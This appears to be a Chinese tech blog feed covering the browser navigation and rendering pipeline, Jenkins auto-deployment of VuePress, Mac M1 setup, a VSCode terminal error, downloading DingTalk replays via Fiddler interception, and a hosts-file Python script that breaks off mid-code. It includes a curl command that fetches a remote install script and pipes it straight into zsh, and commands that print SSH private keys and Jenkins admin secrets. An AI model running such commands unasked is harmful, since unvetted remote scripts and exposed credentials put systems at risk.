从浏览器输入 URL 到页面展示到底经历了什么？本文通过两个阶段来解释，第一个阶段是导航阶段，也就是在页面真正开始渲染之前浏览器所做的工作，第二个阶段是渲染阶段，也就是把接受到的 Http 信息通过浏览器内部的处理展现在页面上。

img

浏览器进程、渲染进程和网络进程的主要职责#

浏览器进程主要负责用户交互、子进程管理和文件储存等功能。
网络进程是面向渲染进程和浏览器进程等提供网络下载功能。
渲染进程的主要职责是把从网络下载的 HTML、JavaScript、CSS、图片等资源解析为可以显示和交互的页面。因为渲染进程所有的内容都是通过网络获取的，会存在一些恶意代码利用浏览器漏洞对系统进行攻击，所以运行在渲染进程里面的代码是不被信任的。这也是为什么 Chrome 会让渲染进程运行在安全沙箱里，就是为了保证系统的安全。

流程#

首先，浏览器进程接收到用户输入的 URL 请求，浏览器进程便将该 URL 转发给网络进程。
然后，在网络进程中发起真正的 URL 请求。
接着网络进程接收到了响应头数据，便解析响应头数据，并将数据转发给浏览器进程。
浏览器进程接收到网络进程的响应头数据之后，发送“提交导航 (CommitNavigation)”消息到渲染进程；
渲染进程接收到“提交导航”的消息之后，便开始准备接收 HTML 数据，接收数据的方式是直接和网络进程建立数据管道；
最后渲染进程会向浏览器进程“确认提交”，这是告诉浏览器进程：“已经准备好接受和解析页面数据了”。
浏览器进程接收到渲染进程“提交文档”的消息之后，便开始移除之前旧的文档，然后更新浏览器进程中的页面状态。

用户发出 URL 请求到页面开始解析的这个过程，就叫做导航。

拆解解析#

1.用户输入#

当用户在地址栏中输入一个查询关键字时，地址栏会判断输入的关键字是搜索内容，还是请求的 URL。

如果是搜索内容，地址栏会使用浏览器默认的搜索引擎，来合成新的带搜索关键字的 URL。
33
如果判断输入的内容符合 URL 规则，比如输入的是 anblog.top,地址栏会根据规则，把这段内容加上协议，合成完整的 URL。https://anblog.top/

2.URL 请求过程#

页面资源请求过程。这时，浏览器进程会通过进程间通信（IPC）把 URL 请求发送至网络进程，网络进程接收到 URL 请求后，会在这里发起真正的 URL 请求流程。

首先，网络进程会查找本地缓存是否缓存了该资源。如果有缓存资源，那么直接返回资源给浏览器进程；如果在缓存中没有查找到资源，那么直接进入网络请求流程。发起网络请求前的第一步是要进行 DNS 解析(1.先查浏览器的缓存；2.查本机的 hosts 文件；3.域名服务器解析；4.若域名服务器也没有，递归(让别人找)加迭代解析(别人告诉你或者给你指路))，以获取请求域名的服务器 IP 地址。如果请求协议是 HTTPS，那么还需要建立 TLS 连接。
接下来就是利用 IP 地址和服务器建立 TCP 连接。连接建立之后，浏览器端会构建请求行、请求头等信息，并把和该域名相关的 Cookie 等数据附加到请求头中，然后向服务器发送构建的请求信息。
服务器接收到请求信息后，会根据请求信息生成响应数据（包括响应行、响应头和响应体等信息），并发给网络进程。等网络进程接收了响应行和响应头之后，就开始解析响应头的内容了。（为了方便讲述，下面我将服务器返回的响应头和响应行统称为响应头。）
几个相关概念#
- 重定向
  
  在接收到服务器返回的响应头后，网络进程开始解析响应头，如果发现返回的状态码是 301 或者 302(在服务器中配置的)，那么说明服务器需要浏览器重定向到其他 URL。这时网络进程会从响应头的 Location 字段里面读取重定向的地址，然后再发起新的 HTTP 或者 HTTPS 请求，一切又重头开始了。就像下面的 nginx.conf 的内容含义是如果请求 blog.annanblog.top，就重定向到https://blog.annanblog.top
  image-20210408184759440
  
  如何查看服务器返回的响应头信息
  
  在终端 cmd 输入不加 https 的地址
  1 curl -I blog.annanblog.top
  image-20210408185253320
  
  直接输入 https 地址
  1 curl -I https://blog.annanblog.top
  image-20210408185412632
  
  结论：在导航过程中，如果服务器响应行的状态码包含了 301、302 一类的跳转信息，浏览器会跳转到新的地址继续导航；如果响应行是 200，那么表示浏览器可以继续处理该请求。
- 响应数据类型处理
  
  在处理了跳转信息之后，我们继续导航流程的分析。URL 请求的数据类型，有时候是一个下载类型，有时候是正常的 HTML 页面，那么浏览器是如何区分它们呢?
  
  答案是 Content-Type。Content-Type 是 HTTP 头中一个非常重要的字段，它告诉浏览器服务器返回的响应体数据是什么类型，然后浏览器会根据 Content-Type 的值来决定如何显示响应体的内容。
  1 curl -I https://blog.annanblog.top
  image-20210408185840996
  
  可以看到这个响应头的 Content-type 字段值是 text/html，这是在告诉浏览器，服务器返回的数据是 HTML 格式。
  
  如果是下载的请求，Content-Type 的值会变
  
  从返回的响应头信息来看，Content-Type 的值是 application/octet-stream，显示数据是字节流类型的，通常情况下，浏览器会按照下载类型来处理该请求。
  
  结论：不同 Content-Type 的后续处理流程也截然不同。如果 Content-Type 字段的值被浏览器判断为下载类型，那么该请求会被提交给浏览器的下载管理器，同时该 URL 请求的导航流程就此结束。但如果是 HTML，那么浏览器则会继续进行导航流程。由于 Chrome 的页面渲染是运行在渲染进程中的，所以接下来就需要准备渲染进程了。
3.准备渲染进程#

默认情况下，Chrome 会为每个页面分配一个渲染进程，也就是说，每打开一个新页面就会配套创建一个新的渲染进程。但是，也有一些例外，在某些情况下，浏览器会让多个页面直接运行在同一个渲染进程中。

导航栏可以打开 chrome 的任务管理器

image-20210408190541271

同站点的，到新页面还会共用一个线程，但是有一点需要注意，这个打开单击直接跳转的，如果是右键浏览器在新标签页打开则还是新建一个渲染线程。

“同一站点”定义为根域名（例如，annanblog.top）加上协议（例如，https:// 或者 http://），还包含了该根域名下的所有子域名和不同的端口，比如下面这三个：
```
1
https://blog.annanblog.top
2
https://www.annanblog.top
3
https://www.annanblog.top:8080
```
Chrome 的默认策略是，每个标签对应一个渲染进程。但如果从一个页面打开了另一个新页面，而新页面和当前页面属于同一站点的话，那么新页面会复用父页面的渲染进程。官方把这个默认策略叫 process-per-site-instance。

案例：比如我现在在 annanblog.top 页面，然后从这个页面打开 wordpress 登录界面
```
1
https://www.annanblog.top/wp-login.php
```
可以看到是同一站点的，打开 chrome 的任务管理器(在 chrome 头部右键打开)查看
image-20210408215638568

可以看到是共用一个进程的，同时用旧站打开新站，新站是子域名 blog.annanblog.top
```
1
https://blog.annanblog.top/
```
可以看到依然使用同一个进程，由于 annanblog.top 和 blog.annanblog.top 的标签页拥有相同的协议和根域名，所以它们属于同一站点

image-20210408215939546

但是当打开站尾的备案的时候(https://beian.miit.gov.cn/#/Integrated/index)
image-20210409081231887

可以看到新开了一个进程，因为不是同一站点。

总结：

打开一个页面 chrome 默认所采取的渲染进程策略：

通常情况下，打开新的页面都会使用单独的渲染进程；
如果从 A 页面打开 B 页面，且 A 和 B 同属于一个站点的话，B 页面复用 A 页面的渲染进程；若不是，浏览器进程会为 B 页面创建一个新的渲染进程。

以上渲染进程准备好之后，还不能立即进入文档解析状态，因为此时的文档数据还在网络进程中，并没有提交给渲染进程，所以下一步就进入了提交文档阶段。

4.提交文档#

提交文档，就是把网络进程中的 HTML 数据，提交给渲染进程，流程：

首先当浏览器接收到网络进程的响应头数据之后，就向渲染进程发起“提交文档”的消息；浏览器进程：好了，看来网络进程 OK 了，你两可以交接了！
当渲染进程接受到“提交文档”的消息后，会和网络进程建立传输数据的“管道”(IPC); 渲染进程：网络进程！来！交给我！
当文档数据传输完成之后，渲染进程会返回“确认提交”的消息给浏览器进程；渲染进程：好！我收到数据了！和你说一声，浏览器进程！
浏览器进程在收到“确认提交”的消息后，会更新浏览器界面状态，包括安全状态、地址栏的 URL、前进后退的历史状态、并更新 Web 界面。浏览器进程：我把我管的这部分浏览器上的用户交互的安排好了！

当浏览器进程确认提交之后：更新内容如下图：

更新前进后退状态
更新安全状态小锁子
更新 URL 地址栏
更新 web 页面

image-20210605224831862

这也就解释了为什么在浏览器的地址栏里面输入了一个地址后，之前的页面没有立马消失，而是要加载一会儿才会更新页面。之后就是进入渲染阶段。

image-20210411223259758

中间的渲染模块就是第二阶段渲染阶段。

渲染阶段#

img

流水线可分为如下几个子阶段：构建 DOM 树、样式计算、布局阶段、分层、绘制、分块、光栅化和合成

重点关注：

开始每个子阶段都有其输入的内容；
然后每个子阶段有其处理过程；
最终每个子阶段会生成输出内容。

1.构建 DOM 树#

为什么要构建 DOM 树呢？

这是因为浏览器无法直接理解和使用 HTML，所以需要将 HTML 转换为浏览器能够理解的结构——DOM 树。

树这种结构非常像我们现实生活中的“树”，其中每个点我们称为节点，相连的节点称为父子节点。树结构在浏览器中的应用还是比较多的，比如下面我们要介绍的渲染流程，就在频繁地使用树结构。

img

从图中可以看出，构建 DOM 树的输入内容是一个非常简单的 HTML 文件，然后经由 HTML 解析器解析，最终输出树状结构的 DOM。

在控制台输入 document 就可以看到 DOM 结构，可以看到 DOM 和 HTML 内容几乎是一样的，但是和 HTML 不同的是，DOM 是保存在内存中树状结构，可以通过 JavaScript 来查询或修改内容。

2.样式计算#

样式计算的目的是为了计算出 DOM 节点中每个元素的具体样式，可以分为三步完成。

把 CSS 转换成浏览器能理解的结构。

CSS 的样式来源有三种：
img
- 通过 link 引用的外部 CSS 文件 <link href="normalize.css" rel="stylesheet">
- <style> 标记内的 CSS <style>你的css代码</style>
- 元素的 style 属性内嵌的 CSS <div style="background:#fff"></div>
  
  和 HTML 文件一样，浏览器也是无法直接理解这些纯文本的 CSS 样式，所以当渲染引擎接收到 CSS 文本时，会执行一个转换操作，将 CSS 文本转换为浏览器可以理解的结构——styleSheets。
  
  在 chrome 控制台输入 document.styleSheets,就可以看到如下图所示结构
  
  image-20210411224552961
```
1
 <div align='center'>styleSheets</div>
```
转换样式表中的属性值，使其标准化

现在我们已经把现有的 CSS 文本转化为浏览器可以理解的结构了，那么接下来就要对其进行属性值的标准化操作。

比如以下的 CSS 文本
```
1
body { font-size: 2em }
2
p {color:blue;}
3
span {display: none}
4
div {font-weight: bold}
5
div p {color:green;}
6
div {color:red; }
```
可以看到上面的 CSS 文本中有很多属性值，如 2em、blue、bold，这些类型数值不容易被渲染引擎理解，所以需要将所有值转换为渲染引擎容易理解的、标准化的计算值，这个过程就是属性值标准化。

标准化后是什么样子？

img

2em 被解析成了 32px，red 被解析成了 rgb(255,0,0)，bold 被解析成了 700…

em 单位为一个相对的度量单位，它通过寻找父标签的 font-size。然后通过计算得出自身的 font-size。font-size 是几 em 就是父标签的 font-size 的几倍。利用 em 单位设置便签的 width 或者 height 等属性原理也一样。
计算出 DOM 树中每个节点的具体样式

样式的属性已被标准化了，接下来就需要计算 DOM 树中每个节点的样式属性了，如何计算呢？

这就涉及到 CSS 的继承规则和层叠规则了。

首先是 CSS 继承。CSS 继承就是每个 DOM 节点都包含有父节点的样式。

比如以下的 CSS 文本：
```
1
body { font-size: 20px }
2
p {color:blue;}
3
span {display: none}
4
div {font-weight: bold;color:red}
5
div p {color:green;}
```
最终应用到 DOM 节点的效果如下图所示：

img

从图中可以看出，所有子节点都继承了父节点样式。比如 body 节点的 font-size 属性是 20，那 body 节点下面的所有节点的 font-size 都等于 20。

再举个例子浏览器对着元素右键检查：

img

特别提下 UserAgent 样式，它是浏览器提供的一组默认样式，如果你不提供任何样式，默认使用的就是 UserAgent 样式。

层叠是 CSS 的一个基本特征，它是一个定义了如何合并来自多个源的属性值的算法。它在 CSS 处于核心地位，CSS 的全称“层叠样式表”正是强调了这一点。

样式计算阶段的目的是为了计算出 DOM 节点中每个元素的具体样式，在计算过程中需要遵守 CSS 的继承和层叠两个规则。这个阶段最终输出的内容是每个 DOM 节点的样式，并被保存在 ComputedStyle 的结构内。

如果你想了解每个 DOM 元素最终的计算样式，可以打开 Chrome 的“开发者工具”，选择第一个“element”标签，然后再选择“Computed”子标签，如下图所示：

img

3.布局阶段#

现在，我们有 DOM 树和 DOM 树中元素的样式，但这还不足以显示页面，因为我们还不知道 DOM 元素的几何位置信息。那么接下来就需要计算出 DOM 树中可见元素的几何位置，我们把这个计算过程叫做布局。

创建布局树

DOM 树有很多不可见的元素，比如 head 标签，还有使用了 display 属性的元素。所以在显示之前，我们还需要额外构建一棵只包含可见元素的元素布局树。

img
布局计算

现在有了一棵完整的布局树，接下来就要计算布局树节点的坐标位置，布局计算过程暂时不讲。

在执行布局操作的时候，会把布局运算的结果重新写回布局树中，所以布局树既是输入内容也是输出内容.

4.分层#

现在我们有了布局树，而且每个元素的具体位置信息都计算出来了，那么接下来是不是就要开始着手绘制页面了？答案依然是否定的。

因为页面中有很多复杂的效果，如一些复杂的 3D 变换、页面滚动，或者使用 z-indexing 做 z 轴排序等，为了更加方便地实现这些效果，渲染引擎还需要为特定的节点生成专用的图层，并生成一棵对应的图层树（LayerTree）。如果你熟悉 PS，相信你会很容易理解图层的概念，正是这些图层叠加在一起构成了最终的页面图像。

要想直观地理解什么是图层，你可以打开 Chrome 的“开发者工具”，选择“Layers”标签，就可以可视化页面的分层情况，如下图所示

image-20210606194645358

可以看到这个效果就和 PS 图层一样，一层一层最后叠加成了最终的页面。

img

并不是布局树的每个节点都包含一个图层，如果一个节点没有对应的层，那么这个节点就从属于父节点的图层。如上图中的 span 标签没有专属图层，那么它们就从属于它们的父节点图层。但不管怎样，最终每一个节点都会直接或者间接地从属于一个层。

那么需要满足什么条件，渲染引擎才会为特定的节点创建新的图层呢？通常满足下面两点中任意一点的元素就可以被提升为单独的一个图层。

第一点，拥有层叠上下文属性的元素会被提升为单独的一层。页面是个二维平面，但是层叠上下文能够让 HTML 元素具有三维概念，这些 HTML 元素按照自身属性的优先级分布在垂直于这个二维平面的 z 轴上。你可以结合下图来直观感受下：

img

从图中可以看出，明确定位属性的元素、定义透明属性的元素、使用 CSS 滤镜的元素等，都拥有层叠上下文属性。若你想要了解更多层叠上下文的知识，你可以参考这篇文章。

第二点，需要剪裁（clip）的地方也会被创建为图层。不过首先你需要了解什么是剪裁，结合下面的 HTML 代码：

1
<style>
2
      div {
3
            width: 200;
4
            height: 200;
5
            overflow:auto;
6
            background: gray;
7
        }
8
</style>
9
<body>
10
    <div >
11
        <p>所以元素有了层叠上下文的属性或者需要被剪裁，那么就会被提升成为单独一层，你可以参看下图：</p>
12
        <p>从上图我们可以看到，document层上有A和B层，而B层之上又有两个图层。这些图层组织在一起也是一颗树状结构。</p>
13
        <p>图层树是基于布局树来创建的，为了找出哪些元素需要在哪些层中，渲染引擎会遍历布局树来创建层树（Update LayerTree）。</p>
14
    </div>
15
</body>

展开收起

显示结果

img

这里我们把 div 的大小限定为 200 _ 200 像素，而 div 里面的文字内容比较多，文字所显示的区域肯定会超出 200 _ 200 的面积，这时候就产生了剪裁，渲染引擎会把裁剪文字内容的一部分用于显示在 div 区域。

出现这种裁剪情况的时候，渲染引擎会为文字部分单独创建一个层，如果出现滚动条，滚动条也会被提升为单独的层。

img

所以说，元素有了层叠上下文的属性或者需要被剪裁，满足其中任意一点，就会被提升成为单独一层。

5.图层绘制#

在完成图层树的构建之后，渲染引擎会对图层树中的每个图层进行绘制，那么接下来我们看看渲染引擎是怎么实现图层绘制的？

试想一下，如果给你一张纸，让你先把纸的背景涂成蓝色，然后在中间位置画一个红色的圆，最后再在圆上画个绿色三角形。你会怎么操作呢？

通常，你会把你的绘制操作分解为三步：

绘制蓝色背景；
在中间绘制一个红色的圆；
再在圆上绘制绿色三角形。

渲染引擎实现图层的绘制与之类似，会把一个图层的绘制拆分成很多小的绘制指令，然后再把这些指令按照顺序组成一个待绘制列表

img

你也可以打开“开发者工具”的“Layers”标签，选择“document”层，来实际体验下绘制列表

image-20210606205835960

图中，区域 1 就是 document 的绘制列表，拖动区域 2 中的进度条可以重现列表的绘制过程。

6.栅格化(raster)操作#

绘制列表只是用来记录绘制顺序和绘制指令的列表，而实际上绘制操作是由渲染引擎中的合成线程来完成的。你可以结合下图来看下渲染主线程和合成线程之间的关系：

img

如上图所示，当图层的绘制列表准备好之后，主线程会把该绘制列表提交（commit）给合成线程，那么接下来合成线程是怎么工作的呢？

通常一个页面可能很大，但是用户只能看到其中的一部分，我们把用户可以看到的这个部分叫做视口（viewport），就比如你下拉页面，只能看到你拉动到的显示在你屏幕的东西。

img

在有些情况下，有的图层可以很大，比如有的页面你使用滚动条要滚动好久才能滚动到底部，但是通过视口，用户只能看到页面的很小一部分，所以在这种情况下，要绘制出所有图层内容的话，就会产生太大的开销，而且也没有必要。

基于这个原因，合成线程会将图层划分为图块（tile），这些图块的大小通常是 256x256 或者 512x512，如下图所示：

img

合成线程会按照视口附近的图块来优先生成位图(位图又叫做点阵图，是一个个很小的颜色小方块组合在一起的图片。一个小方块代表 1px)，实际生成位图的操作是由栅格化来执行的。所谓栅格化，是指将图块转换为位图。

位图：又称点阵图像或栅格图像，最小单位由像素构成的图

而图块是栅格化执行的最小单位。渲染进程维护了一个栅格化的线程池，所有的图块栅格化都是在线程池内执行的，运行方式如下图所示：

img

通常，栅格化过程都会使用 GPU 来加速生成，使用 GPU 生成位图的过程叫快速栅格化，或者 GPU 栅格化，生成的位图被保存在 GPU 内存中。

相信你还记得，GPU 操作是运行在 GPU 进程中，如果栅格化操作使用了 GPU，那么最终生成位图的操作是在 GPU 中完成的，这就涉及到了跨进程操作。具体形式你可以参考下图：

img

7.合成和显示#

一旦所有图块都被光栅化，合成线程就会生成一个绘制图块的命令——“DrawQuad”，然后将该命令提交给浏览器进程。

浏览器进程里面有一个叫 viz 的组件，用来接收合成线程发过来的 DrawQuad 命令，然后根据 DrawQuad 命令，将其页面内容绘制到内存中，最后再将内存显示在屏幕上。

到这里，经过这一系列的阶段，编写好的 HTML、CSS、JavaScript 等文件，经过浏览器就会显示出漂亮的页面了。

渲染流水线总结：#

好了，我们现在已经分析完了整个渲染流程，从 HTML 到 DOM、样式计算、布局、图层、绘制、光栅化、合成和显示。下面我用一张图来总结下这整个渲染流程：

img

渲染进程将 HTML 内容转换为能够读懂的 DOM 树结构。
渲染引擎将 CSS 样式表转化为浏览器可以理解的 styleSheets，计算出 DOM 节点的样式。
创建布局树，并计算元素的布局信息。
对布局树进行分层，并生成分层树。
为每个图层生成绘制列表，并将其提交到合成线程。
合成线程将图层分成图块，并在光栅化线程池中将图块转换成位图。
合成线程发送绘制图块命令 DrawQuad 给浏览器进程。
浏览器进程根据 DrawQuad 消息生成页面，并显示到显示器上。

jenkins自动化部署Vuepress(下)-新建任务以及任务配置

Fri, 04 Jun 2021 00:00:00 GMT

新建任务#

image-20210506211405930

General#

image-20210506211649955

源码管理#

image-20210506212623976

生成公私钥

1
ssh-keygen -t rsa -C "你的邮箱地址"

连续回车三次，会在linux(云服务器)的~/.ssh文件里生成公钥id_rsa.pub和私钥id_rsa，公钥需要添加到github的

1
cd ~/.ssh
2
cat id_rsa.pub

1.复制返回的公钥的值，添加到github的SSH key中#

image-20210506213121935

1
cat id_rsa

2.复制返回的私钥的值，添加到Credentials中，点击添加#

image-20210506213752198

3.然后在Credentials选中该凭证即可。#

image-20210506225214579

构建触发器#

image-20210506213910710

构建环境#

1.添加webhook(你当前项目的settings里选)#

image-20210506214424259

点击添加

image-20210506214614024

因为我们的目的是push后自动化构建，所以其实只需要push event就行，添加好以后测试连接

2.安装nodejs#

image-20210506224404226

在可选插件里搜索NodeJS Plugin安装并restart jenkins

image-20210506224429572

然后到

image-20210506224833300

3.接着配置任务#

image-20210506224116398

构建#

image-20210506230333986

Terminal window

1
echo $WORKSPACE #看一下工作目录在哪
2
node -v
3
npm -v
4
npm install&& #更新依赖
5
npm run docs:build #build打包

构建和打包是在jenkins服务器内部的，你在构建这一部分写的所有的命令行，其实是以/var/lib/jenkins/workspace/你的任务名称为路径的操作,shell也只能在以jenkins为~的情况下进行操作，就是说你虽然把jenkins部署在云服务器上，但是这里的shell脚本只能管云服务器里的jenkins服务器(/var/lib/jenkins/)里的东西。然后直接就可以保存了。

执行任务测试#

image-20210507170920367

点击build now进行测试。

image-20210507170950287

在每一次的测试中都可以看控制台输出，方便快速定位错误。

修改Nginx指向#

这时候把Nginx指向每次在jenkins工作空间下打包好的静态文件就行了。

1
/var/lib/jenkins/workspace/vuepress下运行的

因此是/var/lib/jenkins/workspace/vuepress/public(这里静态文件夹每个项目不同，我这个是public,有的是dist之类的)。

VSCode提交和Push#

把github仓库clone到本地(如果你本地已经有了库就可以跳过这一步)

在你想要存放的文件夹下执行
```
1
git clone https://github.com/用户名/xxx.git
```
文件目录
```
1
--你执行命令的文件夹
2
  --xxx文件夹(你clone下来的)
```
每次把文章写好直接放在分类下就可以了。只要放到你的本地从github上clone下来的文件夹的任意位置或是你修改了任何东西，vscode都会提醒你有改变
提交，下面显示的就是你修改的或是添加的文件或文件夹

image-20210512114527982
根据提示，你需要填写你的提交信息并回车提交。

image-20210512114742796
推送到你的远程github库里，也就是Push

image-20210512115026617

jenkins自动化部署Vuepress(上)-安装jenkins和基本配置

Thu, 03 Jun 2021 00:00:00 GMT

目的#

将Vuepress，也就是本网站的文件，放在github的私有仓库里，每当从vscode中把文章代码什么的push到私有仓库的时候，jenkins服务器自动将更新后的代码从github上fetch下来，然后再自动打包。

将Vuepress代码上传到github上#

git的安装和配置密钥
github创建库

image-20210512144157790

image-20210512145053209

下面的三个README、.gitignore、license感兴趣可以在下面介绍的Learn more中看具体的解释，对于个人博客来说都不用勾选也不影响。

有两种情况：

第一种是你按我上图Add a README file，直接就会出现你的仓库信息，会有一个默认的README.md

image-20210512145946648

第二种是你什么也没选，github会告诉你怎么操作，你只需要找一个文件夹，在cmd下执行以下的操作就可以看到和上面一样的了。

image-20210512145912270

区别是第二种在执行的过程中已经生成了本地的库。

image-20210512150158944

而第一种则需要复制SSH地址

image-20210512150454189

在选定文件夹路径下用cmd命令行
```
1
git clone git@github.com:An0510/test_git.git
```

安装Jenkins#

Centos根目录下执行以下命令

安装：官网安装教程

根目录下运行以下命令安装(2021.4.30/centos7.8)

1
 sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
2
  sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key

1
yum install jenkins

浏览器访问：http://你的服务器IP地址:8080/

打开网页按照提示继续操作

/var/lib/jenkins/secrets/initialAdminPassword

image-20210430160652908

1
cat /var/lib/jenkins/secrets/initialAdminPassword

复制结果直接输入密码貌似不让你进，我是手打进去的(你也可以右键检查给input框的value直接赋值)。(使用admin账户继续的话，下次就是输入上面获取的密码)

image-20210430173808722

image-20210430173924640

保存并完成，jenkins就搭好了。

安装文件位置#

1
安装目录：/var/lib/jenkins
2
日志目录：/var/log/jenkins/jenkins.log

启动/停止/重启#

1
sudo /etc/init.d/jenkins start
2
sudo /etc/init.d/jenkins stop
3
sudo /etc/init.d/jenkins restart

重启restart也可以直接浏览器输入http://你的服务器IP地址:8080/restart来进行

访问#

Jeckins默认端口是8080 浏览器访问

1
http://你的服务器IP地址:8080/

汉化jenkins#

主界面 -> 系统管理 -> 插件管理 -> 可选插件

img

系统管理 -> 系统设置 -> Locale

image-20210506203700311

记着勾选下面的选框，否则不生效的。但是我的不知道为啥有些汉化的地方还是不太完全。但是基本都汉化完成，不影响使用。

重启生效

1
浏览器地址栏输入
2
http://localhost:8080/restart

安装nodejs插件#

安装NodeJS Plugin

开始我试了试把云服务器之前装的node路径放上去，可是好像不起作用，所以就在插件的地方让他自动安装一个nodejs了

image-20210506204336676

MacM1 常用环境搭建

Tue, 01 Jun 2021 00:00:00 GMT

JDK#

进入 Zulu openjdk 的下载页面

点击 Choose Your Download

image-20210601105122111

选择你需要的版本，下载 arm 版本的.dmg 文件

image-20210601105354315

点击.dmg 文件安装,注意这里只支持 1.8 及以上版本
在终端输入
Terminal window
```
1
java --version
```
image-20210601105616814

就成了

参考：https://blog.csdn.net/luoaki/article/details/113749054

Maven#

去官网下载 bin.tar.gz 文件，下载地址

image-20210601144945668

下载后解压，然后移动到/usr/local 下的文件夹(通过访达的前往文件夹去)

image-20210601145135004

配置环境变量
```
1
vim ~/.zshrc
```
在下面添加(注意自己安装的版本和位置)
```
1
export MAVEN_HOME=/usr/local/apache-maven-3.8.1
2
export PATH=$PATH:$MAVEN_HOME/bin
```
保存并退出。ESC+:wq+回车
让环境变量生效
```
1
source ~/.zshrc
```
查看是否配置成功
```
1
mvn -v
```
image-20210601145642780

改镜像为阿里云，加速下载依赖

进入 local/你的 maven 仓库/conf/settings.xml 修改 mirrors 标签内的 mirror 标签

1
<mirror>
2
  <id>mirrorId</id>
3
  <mirrorOf>aliyun</mirrorOf>
4
  <name>aliyun Maven</name>
5
  <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
6
</mirror>

image-20210601150415425

参考：https://blog.csdn.net/qq1808814025/article/details/112306747

MySQL#

用安装包方式安装#

安装包下载地址选择 8.0 或者自己需要的版本进行下载

WeChat9c990980ae55c3db16f8844772d7e6e5

image-20210601191449323

这时候进入系统偏好设置就能看到 mysql 已经运行了

image-20210601193011107

这个小海豚就是 mysql 8 了点进去默认是启动的。

配置环境变量#

打开终端输入

1
vim ~/.zshrc

在.zshrc 下添加

1
export PATH=$PATH:/usr/local/mysql/bin
2
export PATH=$PATH:/usr/local/mysql/support-files

source 一下，让环境生效

1
source ~/.zshrc

测试

1
mysql -uroot -p你的密码

image-20210601193837546

成功进入 mysql 了

参考：https://blog.csdn.net/qq_42006613/article/details/111773038

Homebrew#

在系统根目录下运行以下命令

Terminal window

1
/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"

一直回车就行。

安装成功后

1
brew -v

image-20210601110120423

参考：https://zhuanlan.zhihu.com/p/111014448

Node#

我用的用 brew 命令安装的

1
brew search node

image-20210601110300711

可以看到有很多种选择，我直接选的 node，安装下来应该是最新的版本

1
brew install node

image-20210601110419591

Python#

通过 homebrew 命令行安装

1
brew install python3

输入python3然后弹出以下，代表安装成功

image-20210601143940289

附加一个= =图床工具 PicGo#

虽然不是环境，但是确实是电脑必下的软件=-= 毕竟传图得用它

下载链接配置在 finder,右键打开详细窗口进行配置

image-20210601111043398

image-20210601111114537

如果有什么遗漏的欢迎提供可行的链接，我补充在文章, 节省大家上手 m1 的时间。

“<”运算符是为将来使用而保留的。报错解决方法

Mon, 26 Apr 2021 00:00:00 GMT

在 VScode 下运行犀牛书第一章的一个词频统计代码出现的报错

1
node charfreq.js < corpus.js

报错信息

image-20210426211849225

通过搜索发现类似问题的原因是和 VSCode 终端选择用 powershell 还是 cmd 有关。

解决方法#

打开 VSCode，在界面按快捷键ctrl+shift+p

image-20210426212641166
选择 cmd

image-20210426212721514
重启 VSCode
解决

image-20210426212820832

原因#

在 windows 下 win+R，输入 cmd 回车进入 cmd 后，cd 到对应目录执行

1
node charfreq.js < corpus.js

是没问题的

image-20210426212052743

说明 cmd 的执行是没问题的，因此可以基本确定是 VSCode 终端默认是 powershell 的问题。改成 cmd 就行。

钉钉直播回放下载

Mon, 26 Apr 2021 00:00:00 GMT

很多时候钉钉上的直播回放都是不可下载的,甚至定时删掉,这时候必须抓包下来看,下面说一下具体操作.

使用的软件有Fiddler和N_m3u8DL-CLI

首先在钉钉登录界面修改#

打开 Fiddler#

打开首行菜单栏 Tools > Options

image-20200827135813696
打开后选择 HTTPS 在其中勾选箭头部分并会安装证书

image-20200827135905786
刚开始左侧会有很多东西,可以删除掉

image-20200827140528497
点击拖拽首行菜单栏的这个按钮到钉钉界面,就只显示钉钉的一些请求了

image-20200827140857513

image-20200827141012033
然后打开钉群直播,过一会左侧就会出现一堆东西,按 CTRL+F 进行搜索 .m3u8
对标黄的结果右键复制 url

image-20200827141607966

安装下来有两个 exe,打开那个有可视化界面的 N_m3u8DL-CLI-SimpleG.exe

将刚才复制的内容写入 M3U8 地址那栏然后点击 Go

image-20200827141852234

视频就会自动下载到当前目录下的 Downloads 下了.就很棒.

github 加速访问——Python 代码自动化实现

Sun, 11 Apr 2021 00:00:00 GMT

Python 代码实现#

使用代码前可能要修改 hosts 的权限。如果是 windows 直接运行代码就可以了.

1
import re
2
import requests
3
import os
4

5
#1.若hosts中本身配置过就删除掉原来配置的。 地址是windows默认存放hosts的位置
6
with open("C:\Windows\System32\drivers\etc\hosts","r",encoding="utf-8") as f:
7
    lines = f.readlines()
8
    #print(lines)
9
with open("C:\Windows\System32\drivers\etc\hosts","w",encoding="utf-8") as f_w:
10
    for line in lines:
11
        #删除包括github.com的那一行内容
12
        if "github.com" in line:
13
            continue
14
        #和上面的同理
15
        if "github.global.ssl.fastly.net" in line:
16
            continue
17
        f_w.write(line)
18

19
#2.获取域名对应的ip地址
20
#二级域名
21
SecondLevelDomain = "github.com"
22
url1 = "https://{SecondLevelDomain}.ipaddress.com/".format(SecondLevelDomain=SecondLevelDomain)
23
#次级域名
24
SubDomain = "assets-cdn.github.com"
25
url2 = "https://{SecondLevelDomain}.ipaddress.com/{SubDomain}".format(SecondLevelDomain=SecondLevelDomain, SubDomain=SubDomain)
26
#大概是给github搞加速的厂商的域名fastly.net
27
url3 = "https://fastly.net.ipaddress.com/github.global.ssl.fastly.net"
28

29
#请求链接
30
r1 = requests.get(url1)
31
r1.status_code
32
r1.encoding = 'utf-8'
33
#获取响应体
34
r1=r1.text
35
# print(r1)
36
pattern = re.compile('https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*')
37
#https://www.ipaddress.com/ipv4/140.82.113.4
38
res = pattern.findall(r1)
39
res = res[0].split("/ipv4/");#切片
40
res1 = res[1];#获取到ip地址
41
res1 = res1+" github.com"
42
print(res1)
43

44
r2 = requests.get(url2)
45
r2.encoding = 'utf-8'
46
#获取响应体
47
r2=r2.text
48
# print(r2)
49
pattern = re.compile('https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*')
50
#https://www.ipaddress.com/ipv4/140.82.113.4
51
res = pattern.findall(r2)
52
res = res[0].split("/ipv4/");#切片
53
res2 = res[1];#获取到ip地址
54
res2 = res2+" assets-cdn.github.com"
55
print(res2)
56

57
r3 = requests.get(url3)
58
r3.encoding = 'utf-8'
59
#获取响应体
60
r3=r3.text
61
# print(r3)
62
